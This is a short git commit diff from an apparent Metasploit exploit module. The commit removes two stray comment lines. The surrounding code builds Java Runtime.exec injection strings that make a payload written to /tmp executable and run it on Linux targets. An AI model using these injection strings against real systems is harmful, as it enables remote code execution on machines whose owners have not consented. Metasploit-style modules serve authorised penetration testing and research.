fixed comments left in by accident

bug/bundler_fix
Console 2013-03-21 16:43:44 +00:00
parent 4edf5260f4
commit 8027615608
1 changed files with 0 additions and 2 deletions

View File

@ -96,13 +96,11 @@ class Metasploit3 < Msf::Exploit::Remote
pl_exe = generate_payload_exe
chunk_length = 384
append = 'false'
# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
#Now arch specific...
case target['Platform']
when 'linux'
chunk_length = 128 #Complains of a long filename if left default.
@payload_exe = "/tmp/#{@payload_exe}"
# chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'